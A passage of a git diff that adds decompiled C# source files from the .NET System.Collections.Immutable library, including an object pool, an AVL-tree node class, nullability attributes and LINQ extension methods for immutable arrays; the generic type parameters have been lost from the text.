SecureObjectPool where TCaller : ISecurePooledObjectUser +{ + public static void TryAdd(TCaller caller, SecurePooledObject item) + { + if (caller.PoolUserId == item.Owner) + { + item.Owner = -1; + AllocFreeConcurrentStack>.TryAdd(item); + } + } + + public static bool TryTake(TCaller caller, out SecurePooledObject? item) + { + if (caller.PoolUserId != -1 && AllocFreeConcurrentStack>.TryTake(out item)) + { + item.Owner = caller.PoolUserId; + return true; + } + item = null; + return false; + } + + public static SecurePooledObject PrepNew(TCaller caller, T newValue) + { + Requires.NotNullAllowStructs(newValue, "newValue"); + SecurePooledObject securePooledObject = new SecurePooledObject(newValue); + securePooledObject.Owner = caller.PoolUserId; + return securePooledObject; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SecurePooledObject.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SecurePooledObject.cs new file mode 100644 index 0000000..bae4b25 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SecurePooledObject.cs @@ -0,0 +1,55 @@ +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; + +namespace System.Collections.Immutable; + +internal sealed class SecurePooledObject +{ + private readonly T _value; + + private int _owner; + + internal int Owner + { + get + { + return _owner; + } + set + { + _owner = value; + } + } + + internal SecurePooledObject(T newValue) + { + Requires.NotNullAllowStructs(newValue, "newValue"); + _value = newValue; + } + + internal T Use(ref TCaller caller) where TCaller : struct, ISecurePooledObjectUser + { + if (!IsOwned(ref caller)) + { + Requires.FailObjectDisposed(caller); + } + return _value; + } + + internal bool TryUse(ref TCaller caller, [MaybeNullWhen(false)] out T value) where TCaller : struct, ISecurePooledObjectUser + { + if (IsOwned(ref caller)) + { + value = _value; + return true; + } + value = default(T); + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal bool IsOwned(ref TCaller caller) where TCaller : struct, ISecurePooledObjectUser + { + return caller.PoolUserId == _owner; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SortedInt32KeyNode.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SortedInt32KeyNode.cs new file mode 100644 index 0000000..67a6dc7 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/SortedInt32KeyNode.cs @@ -0,0 +1,452 @@ +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; + +namespace System.Collections.Immutable; + +[DebuggerDisplay("{_key} = {_value}")] +internal sealed class SortedInt32KeyNode : IBinaryTree +{ + [EditorBrowsable(EditorBrowsableState.Advanced)] + public struct Enumerator : IEnumerator>, IDisposable, IEnumerator, ISecurePooledObjectUser + { + private readonly int _poolUserId; + + private SortedInt32KeyNode _root; + + private SecurePooledObject>>> _stack; + + private SortedInt32KeyNode _current; + + public KeyValuePair Current + { + get + { + ThrowIfDisposed(); + if (_current != null) + { + return _current.Value; + } + throw new InvalidOperationException(); + } + } + + int ISecurePooledObjectUser.PoolUserId => _poolUserId; + + object IEnumerator.Current => Current; + + internal Enumerator(SortedInt32KeyNode root) + { + Requires.NotNull(root, "root"); + _root = root; + _current = null; + _poolUserId = SecureObjectPool.NewId(); + _stack = null; + if (!_root.IsEmpty) + { + if (!SecureObjectPool>>, Enumerator>.TryTake(this, out _stack)) + { + _stack = SecureObjectPool>>, Enumerator>.PrepNew(this, new Stack>>(root.Height)); + } + PushLeft(_root); + } + } + + public void Dispose() + { + _root = null; + _current = null; + if (_stack != null && _stack.TryUse(ref this, out var value)) + { + value.ClearFastWhenEmpty(); + SecureObjectPool>>, Enumerator>.TryAdd(this, _stack); + } + _stack = null; + } + + public bool MoveNext() + { + ThrowIfDisposed(); + if (_stack != null) + { + Stack>> stack = _stack.Use(ref this); + if (stack.Count > 0) + { + PushLeft((_current = stack.Pop().Value).Right); + return true; + } + } + _current = null; + return false; + } + + public void Reset() + { + ThrowIfDisposed(); + _current = null; + if (_stack != null) + { + Stack>> stack = _stack.Use(ref this); + stack.ClearFastWhenEmpty(); + PushLeft(_root); + } + } + + internal void ThrowIfDisposed() + { + if (_root == null || (_stack != null && !_stack.IsOwned(ref this))) + { + Requires.FailObjectDisposed(this); + } + } + + private void PushLeft(SortedInt32KeyNode node) + { + Requires.NotNull(node, "node"); + Stack>> stack = _stack.Use(ref this); + while (!node.IsEmpty) + { + stack.Push(new RefAsValueType>(node)); + node = node.Left; + } + } + } + + internal static readonly SortedInt32KeyNode EmptyNode = new SortedInt32KeyNode(); + + private readonly int _key; + + private readonly TValue _value; + + private bool _frozen; + + private byte _height; + + private SortedInt32KeyNode _left; + + private SortedInt32KeyNode _right; + + public bool IsEmpty => _left == null; + + public int Height => _height; + + public SortedInt32KeyNode? Left => _left; + + public SortedInt32KeyNode? Right => _right; + + IBinaryTree? IBinaryTree.Left => _left; + + IBinaryTree? IBinaryTree.Right => _right; + + int IBinaryTree.Count + { + get + { + throw new NotSupportedException(); + } + } + + public KeyValuePair Value => new KeyValuePair(_key, _value); + + internal IEnumerable Values + { + get + { + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current.Value; + } + } + } + + private SortedInt32KeyNode() + { + _frozen = true; + } + + private SortedInt32KeyNode(int key, TValue value, SortedInt32KeyNode left, SortedInt32KeyNode right, bool frozen = false) + { + Requires.NotNull(left, "left"); + Requires.NotNull(right, "right"); + _key = key; + _value = value; + _left = left; + _right = right; + _frozen = frozen; + _height = checked((byte)(1 + Math.Max(left._height, right._height))); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + internal SortedInt32KeyNode SetItem(int key, TValue value, IEqualityComparer valueComparer, out bool replacedExistingValue, out bool mutated) + { + Requires.NotNull(valueComparer, "valueComparer"); + return SetOrAdd(key, value, valueComparer, overwriteExistingValue: true, out replacedExistingValue, out mutated); + } + + internal SortedInt32KeyNode Remove(int key, out bool mutated) + { + return RemoveRecursive(key, out mutated); + } + + internal TValue? GetValueOrDefault(int key) + { + SortedInt32KeyNode sortedInt32KeyNode = this; + while (true) + { + if (sortedInt32KeyNode.IsEmpty) + { + return default(TValue); + } + if (key == sortedInt32KeyNode._key) + { + break; + } + sortedInt32KeyNode = ((key <= sortedInt32KeyNode._key) ? sortedInt32KeyNode._left : sortedInt32KeyNode._right); + } + return sortedInt32KeyNode._value; + } + + internal bool TryGetValue(int key, [MaybeNullWhen(false)] out TValue value) + { + SortedInt32KeyNode sortedInt32KeyNode = this; + while (true) + { + if (sortedInt32KeyNode.IsEmpty) + { + value = default(TValue); + return false; + } + if (key == sortedInt32KeyNode._key) + { + break; + } + sortedInt32KeyNode = ((key <= sortedInt32KeyNode._key) ? sortedInt32KeyNode._left : sortedInt32KeyNode._right); + } + value = sortedInt32KeyNode._value; + return true; + } + + internal void Freeze(Action>? freezeAction = null) + { + if (!_frozen) + { + freezeAction?.Invoke(new KeyValuePair(_key, _value)); + _left.Freeze(freezeAction); + _right.Freeze(freezeAction); + _frozen = true; + } + } + + private static SortedInt32KeyNode RotateLeft(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + if (tree._right.IsEmpty) + { + return tree; + } + SortedInt32KeyNode right = tree._right; + return right.Mutate(tree.Mutate(null, right._left)); + } + + private static SortedInt32KeyNode RotateRight(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + if (tree._left.IsEmpty) + { + return tree; + } + SortedInt32KeyNode left = tree._left; + return left.Mutate(null, tree.Mutate(left._right)); + } + + private static SortedInt32KeyNode DoubleLeft(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + if (tree._right.IsEmpty) + { + return tree; + } + SortedInt32KeyNode tree2 = tree.Mutate(null, RotateRight(tree._right)); + return RotateLeft(tree2); + } + + private static SortedInt32KeyNode DoubleRight(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + if (tree._left.IsEmpty) + { + return tree; + } + SortedInt32KeyNode tree2 = tree.Mutate(RotateLeft(tree._left)); + return RotateRight(tree2); + } + + private static int Balance(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + return tree._right._height - tree._left._height; + } + + private static bool IsRightHeavy(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + return Balance(tree) >= 2; + } + + private static bool IsLeftHeavy(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + return Balance(tree) <= -2; + } + + private static SortedInt32KeyNode MakeBalanced(SortedInt32KeyNode tree) + { + Requires.NotNull(tree, "tree"); + if (IsRightHeavy(tree)) + { + if (Balance(tree._right) >= 0) + { + return RotateLeft(tree); + } + return DoubleLeft(tree); + } + if (IsLeftHeavy(tree)) + { + if (Balance(tree._left) <= 0) + { + return RotateRight(tree); + } + return DoubleRight(tree); + } + return tree; + } + + private SortedInt32KeyNode SetOrAdd(int key, TValue value, IEqualityComparer valueComparer, bool overwriteExistingValue, out bool replacedExistingValue, out bool mutated) + { + replacedExistingValue = false; + if (IsEmpty) + { + mutated = true; + return new SortedInt32KeyNode(key, value, this, this); + } + SortedInt32KeyNode sortedInt32KeyNode = this; + if (key > _key) + { + SortedInt32KeyNode right = _right.SetOrAdd(key, value, valueComparer, overwriteExistingValue, out replacedExistingValue, out mutated); + if (mutated) + { + sortedInt32KeyNode = Mutate(null, right); + } + } + else if (key < _key) + { + SortedInt32KeyNode left = _left.SetOrAdd(key, value, valueComparer, overwriteExistingValue, out replacedExistingValue, out mutated); + if (mutated) + { + sortedInt32KeyNode = Mutate(left); + } + } + else + { + if (valueComparer.Equals(_value, value)) + { + mutated = false; + return this; + } + if (!overwriteExistingValue) + { + throw new ArgumentException(System.SR.Format(System.SR.DuplicateKey, key)); + } + mutated = true; + replacedExistingValue = true; + sortedInt32KeyNode = new SortedInt32KeyNode(key, value, _left, _right); + } + if (!mutated) + { + return sortedInt32KeyNode; + } + return MakeBalanced(sortedInt32KeyNode); + } + + private SortedInt32KeyNode RemoveRecursive(int key, out bool mutated) + { + if (IsEmpty) + { + mutated = false; + return this; + } + SortedInt32KeyNode sortedInt32KeyNode = this; + if (key == _key) + { + mutated = true; + if (_right.IsEmpty && _left.IsEmpty) + { + sortedInt32KeyNode = EmptyNode; + } + else if (_right.IsEmpty && !_left.IsEmpty) + { + sortedInt32KeyNode = _left; + } + else if (!_right.IsEmpty && _left.IsEmpty) + { + sortedInt32KeyNode = _right; + } + else + { + SortedInt32KeyNode sortedInt32KeyNode2 = _right; + while (!sortedInt32KeyNode2._left.IsEmpty) + { + sortedInt32KeyNode2 = sortedInt32KeyNode2._left; + } + bool mutated2; + SortedInt32KeyNode right = _right.Remove(sortedInt32KeyNode2._key, out mutated2); + sortedInt32KeyNode = sortedInt32KeyNode2.Mutate(_left, right); + } + } + else if (key < _key) + { + SortedInt32KeyNode left = _left.Remove(key, out mutated); + if (mutated) + { + sortedInt32KeyNode = Mutate(left); + } + } + else + { + SortedInt32KeyNode right2 = _right.Remove(key, out mutated); + if (mutated) + { + sortedInt32KeyNode = Mutate(null, right2); + } + } + if (!sortedInt32KeyNode.IsEmpty) + { + return MakeBalanced(sortedInt32KeyNode); + } + return sortedInt32KeyNode; + } + + private SortedInt32KeyNode Mutate(SortedInt32KeyNode left = null, SortedInt32KeyNode right = null) + { + if (_frozen) + { + return new SortedInt32KeyNode(_key, _value, left ?? _left, right ?? _right); + } + if (left != null) + { + _left = left; + } + if (right != null) + { + _right = right; + } + _height = checked((byte)(1 + Math.Max(_left._height, _right._height))); + return this; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ValidatedNotNullAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ValidatedNotNullAttribute.cs new file mode 100644 index 0000000..b8f137d --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ValidatedNotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Collections.Immutable; + +[AttributeUsage(AttributeTargets.Parameter, AllowMultiple = false, Inherited = false)] +internal sealed class ValidatedNotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ValuesCollectionAccessor.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ValuesCollectionAccessor.cs new file mode 100644 index 0000000..97c04f6 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ValuesCollectionAccessor.cs @@ -0,0 +1,22 @@ +namespace System.Collections.Immutable; + +internal sealed class ValuesCollectionAccessor : KeysOrValuesCollectionAccessor where TKey : notnull +{ + internal ValuesCollectionAccessor(IImmutableDictionary dictionary) + : base(dictionary, dictionary.Values) + { + } + + public override bool Contains(TValue item) + { + if (base.Dictionary is ImmutableSortedDictionary immutableSortedDictionary) + { + return immutableSortedDictionary.ContainsValue(item); + } + if (base.Dictionary is IImmutableDictionaryInternal immutableDictionaryInternal) + { + return immutableDictionaryInternal.ContainsValue(item); + } + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs new file mode 100644 index 0000000..6189a22 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class AllowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs new file mode 100644 index 0000000..15b3a21 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class DisallowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs new file mode 100644 index 0000000..e3b3818 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method, Inherited = false)] +internal sealed class DoesNotReturnAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs new file mode 100644 index 0000000..cee0e47 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class DoesNotReturnIfAttribute : Attribute +{ + public bool ParameterValue { get; } + + public DoesNotReturnIfAttribute(bool parameterValue) + { + ParameterValue = parameterValue; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs new file mode 100644 index 0000000..a25d17e --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class MaybeNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs new file mode 100644 index 0000000..f637f90 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class MaybeNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public MaybeNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs new file mode 100644 index 0000000..64cf83f --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullAttribute : Attribute +{ + public string[] Members { get; } + + public MemberNotNullAttribute(string member) + { + Members = new string[1] { member }; + } + + public MemberNotNullAttribute(params string[] members) + { + Members = members; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs new file mode 100644 index 0000000..ee71d72 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs @@ -0,0 +1,21 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public string[] Members { get; } + + public MemberNotNullWhenAttribute(bool returnValue, string member) + { + ReturnValue = returnValue; + Members = new string[1] { member }; + } + + public MemberNotNullWhenAttribute(bool returnValue, params string[] members) + { + ReturnValue = returnValue; + Members = members; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs new file mode 100644 index 0000000..d096bc2 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class NotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs new file mode 100644 index 0000000..e269971 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple = true, Inherited = false)] +internal sealed class NotNullIfNotNullAttribute : Attribute +{ + public string ParameterName { get; } + + public NotNullIfNotNullAttribute(string parameterName) + { + ParameterName = parameterName; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs new file mode 100644 index 0000000..8923436 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class NotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public NotNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Linq/ImmutableArrayExtensions.cs b/decompiled/Libraries/system.collections.immutable/System.Linq/ImmutableArrayExtensions.cs new file mode 100644 index 0000000..9615908 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Linq/ImmutableArrayExtensions.cs @@ -0,0 +1,439 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace System.Linq; + +public static class ImmutableArrayExtensions +{ + public static IEnumerable Select(this ImmutableArray immutableArray, Func selector) + { + immutableArray.ThrowNullRefIfNotInitialized(); + return immutableArray.array.Select(selector); + } + + public static IEnumerable SelectMany(this ImmutableArray immutableArray, Func> collectionSelector, Func resultSelector) + { + immutableArray.ThrowNullRefIfNotInitialized(); + if (collectionSelector == null || resultSelector == null) + { + return Enumerable.SelectMany(immutableArray, collectionSelector, resultSelector); + } + if (immutableArray.Length != 0) + { + return immutableArray.SelectManyIterator(collectionSelector, resultSelector); + } + return Enumerable.Empty(); + } + + public static IEnumerable Where(this ImmutableArray immutableArray, Func predicate) + { + immutableArray.ThrowNullRefIfNotInitialized(); + return immutableArray.array.Where(predicate); + } + + public static bool Any(this ImmutableArray immutableArray) + { + return immutableArray.Length > 0; + } + + public static bool Any(this ImmutableArray immutableArray, Func predicate) + { + immutableArray.ThrowNullRefIfNotInitialized(); + Requires.NotNull(predicate, "predicate"); + T[] array = immutableArray.array; + foreach (T arg in array) + { + if (predicate(arg)) + { + return true; + } + } + return false; + } + + public static bool All(this ImmutableArray immutableArray, Func predicate) + { + immutableArray.ThrowNullRefIfNotInitialized(); + Requires.NotNull(predicate, "predicate"); + T[] array = immutableArray.array; + foreach (T arg in array) + { + if (!predicate(arg)) + { + return false; + } + } + return true; + } + + public static bool SequenceEqual(this ImmutableArray immutableArray, ImmutableArray items, IEqualityComparer? comparer = null) where TDerived : TBase + { + immutableArray.ThrowNullRefIfNotInitialized(); + items.ThrowNullRefIfNotInitialized(); + if ((object)immutableArray.array == items.array) + { + return true; + } + if (immutableArray.Length != items.Length) + { + return false; + } + if (comparer == null) + { + comparer = EqualityComparer.Default; + } + for (int i = 0; i < immutableArray.Length; i++) + { + if (!comparer.Equals(immutableArray.array[i], (TBase)(object)items.array[i])) + { + return false; + } + } + return true; + } + + public static bool SequenceEqual(this ImmutableArray immutableArray, IEnumerable items, IEqualityComparer? comparer = null) where TDerived : TBase + { + Requires.NotNull(items, "items"); + if (comparer == null) + { + comparer = EqualityComparer.Default; + } + int num = 0; + int length = immutableArray.Length; + foreach (TDerived item in items) + { + if (num == length) + { + return false; + } + if (!comparer.Equals(immutableArray[num], (TBase)(object)item)) + { + return false; + } + num++; + } + return num == length; + } + + public static bool SequenceEqual(this ImmutableArray immutableArray, ImmutableArray items, Func predicate) where TDerived : TBase + { + Requires.NotNull(predicate, "predicate"); + immutableArray.ThrowNullRefIfNotInitialized(); + items.ThrowNullRefIfNotInitialized(); + if ((object)immutableArray.array == items.array) + { + return true; + } + if (immutableArray.Length != items.Length) + { + return false; + } + int i = 0; + for (int length = immutableArray.Length; i < length; i++) + { + if (!predicate(immutableArray[i], (TBase)(object)items[i])) + { + return false; + } + } + return true; + } + + public static T? Aggregate(this ImmutableArray immutableArray, Func func) + { + Requires.NotNull(func, "func"); + if (immutableArray.Length == 0) + { + return default(T); + } + T val = immutableArray[0]; + int i = 1; + for (int length = immutableArray.Length; i < length; i++) + { + val = func(val, immutableArray[i]); + } + return val; + } + + public static TAccumulate Aggregate(this ImmutableArray immutableArray, TAccumulate seed, Func func) + { + Requires.NotNull(func, "func"); + TAccumulate val = seed; + T[] array = immutableArray.array; + foreach (T arg in array) + { + val = func(val, arg); + } + return val; + } + + public static TResult Aggregate(this ImmutableArray immutableArray, TAccumulate seed, Func func, Func resultSelector) + { + Requires.NotNull(resultSelector, "resultSelector"); + return resultSelector(immutableArray.Aggregate(seed, func)); + } + + public static T ElementAt(this ImmutableArray immutableArray, int index) + { + return immutableArray[index]; + } + + public static T? ElementAtOrDefault(this ImmutableArray immutableArray, int index) + { + if (index < 0 || index >= immutableArray.Length) + { + return default(T); + } + return immutableArray[index]; + } + + public static T First(this ImmutableArray immutableArray, Func predicate) + { + Requires.NotNull(predicate, "predicate"); + T[] array = immutableArray.array; + foreach (T val in array) + { + if (predicate(val)) + { + return val; + } + } + return Enumerable.Empty().First(); + } + + public static T First(this ImmutableArray immutableArray) + { + if (immutableArray.Length <= 0) + { + return immutableArray.array.First(); + } + return immutableArray[0]; + } + + public static T? FirstOrDefault(this ImmutableArray immutableArray) + { + if (immutableArray.array.Length == 0) + { + return default(T); + } + return immutableArray.array[0]; + } + + public static T? FirstOrDefault(this ImmutableArray immutableArray, Func predicate) + { + Requires.NotNull(predicate, "predicate"); + T[] array = immutableArray.array; + foreach (T val in array) + { + if (predicate(val)) + { + return val; + } + } + return default(T); + } + + public static T Last(this ImmutableArray immutableArray) + { + if (immutableArray.Length <= 0) + { + return immutableArray.array.Last(); + } + return immutableArray[immutableArray.Length - 1]; + } + + public static T Last(this ImmutableArray immutableArray, Func predicate) + { + Requires.NotNull(predicate, "predicate"); + for (int num = immutableArray.Length - 1; num >= 0; num--) + { + if (predicate(immutableArray[num])) + { + return immutableArray[num]; + } + } + return Enumerable.Empty().Last(); + } + + public static T? LastOrDefault(this ImmutableArray immutableArray) + { + immutableArray.ThrowNullRefIfNotInitialized(); + return immutableArray.array.LastOrDefault(); + } + + public static T? LastOrDefault(this ImmutableArray immutableArray, Func predicate) + { + Requires.NotNull(predicate, "predicate"); + for (int num = immutableArray.Length - 1; num >= 0; num--) + { + if (predicate(immutableArray[num])) + { + return immutableArray[num]; + } + } + return default(T); + } + + public static T Single(this ImmutableArray immutableArray) + { + immutableArray.ThrowNullRefIfNotInitialized(); + return immutableArray.array.Single(); + } + + public static T Single(this ImmutableArray immutableArray, Func predicate) + { + Requires.NotNull(predicate, "predicate"); + bool flag = true; + T result = default(T); + T[] array = immutableArray.array; + foreach (T val in array) + { + if (predicate(val)) + { + if (!flag) + { + ImmutableArray.TwoElementArray.Single(); + } + flag = false; + result = val; + } + } + if (flag) + { + Enumerable.Empty().Single(); + } + return result; + } + + public static T? SingleOrDefault(this ImmutableArray immutableArray) + { + immutableArray.ThrowNullRefIfNotInitialized(); + return immutableArray.array.SingleOrDefault(); + } + + public static T? SingleOrDefault(this ImmutableArray immutableArray, Func predicate) + { + Requires.NotNull(predicate, "predicate"); + bool flag = true; + T result = default(T); + T[] array = immutableArray.array; + foreach (T val in array) + { + if (predicate(val)) + { + if (!flag) + { + ImmutableArray.TwoElementArray.Single(); + } + flag = false; + result = val; + } + } + return result; + } + + public static Dictionary ToDictionary(this ImmutableArray immutableArray, Func keySelector) where TKey : notnull + { + return immutableArray.ToDictionary(keySelector, EqualityComparer.Default); + } + + public static Dictionary ToDictionary(this ImmutableArray immutableArray, Func keySelector, Func elementSelector) where TKey : notnull + { + return immutableArray.ToDictionary(keySelector, elementSelector, EqualityComparer.Default); + } + + public static Dictionary ToDictionary(this ImmutableArray immutableArray, Func keySelector, IEqualityComparer? comparer) where TKey : notnull + { + Requires.NotNull(keySelector, "keySelector"); + Dictionary dictionary = new Dictionary(immutableArray.Length, comparer); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + dictionary.Add(keySelector(current), current); + } + return dictionary; + } + + public static Dictionary ToDictionary(this ImmutableArray immutableArray, Func keySelector, Func elementSelector, IEqualityComparer? comparer) where TKey : notnull + { + Requires.NotNull(keySelector, "keySelector"); + Requires.NotNull(elementSelector, "elementSelector"); + Dictionary dictionary = new Dictionary(immutableArray.Length, comparer); + T[] array = immutableArray.array; + foreach (T arg in array) + { + dictionary.Add(keySelector(arg), elementSelector(arg)); + } + return dictionary; + } + + public static T[] ToArray(this ImmutableArray immutableArray) + { + immutableArray.ThrowNullRefIfNotInitialized(); + if (immutableArray.array.Length == 0) + { + return ImmutableArray.Empty.array; + } + return (T[])immutableArray.array.Clone(); + } + + public static T First(this ImmutableArray.Builder builder) + { + Requires.NotNull(builder, "builder"); + if (!builder.Any()) + { + throw new InvalidOperationException(); + } + return builder[0]; + } + + public static T? FirstOrDefault(this ImmutableArray.Builder builder) + { + Requires.NotNull(builder, "builder"); + if (!builder.Any()) + { + return default(T); + } + return builder[0]; + } + + public static T Last(this ImmutableArray.Builder builder) + { + Requires.NotNull(builder, "builder"); + if (!builder.Any()) + { + throw new InvalidOperationException(); + } + return builder[builder.Count - 1]; + } + + public static T? LastOrDefault(this ImmutableArray.Builder builder) + { + Requires.NotNull(builder, "builder"); + if (!builder.Any()) + { + return default(T); + } + return builder[builder.Count - 1]; + } + + public static bool Any(this ImmutableArray.Builder builder) + { + Requires.NotNull(builder, "builder"); + return builder.Count > 0; + } + + private static IEnumerable SelectManyIterator(this ImmutableArray immutableArray, Func> collectionSelector, Func resultSelector) + { + TSource[] array = immutableArray.array; + foreach (TSource item in array) + { + foreach (TCollection item2 in collectionSelector(item)) + { + yield return resultSelector(item, item2); + } + } + } +} diff --git 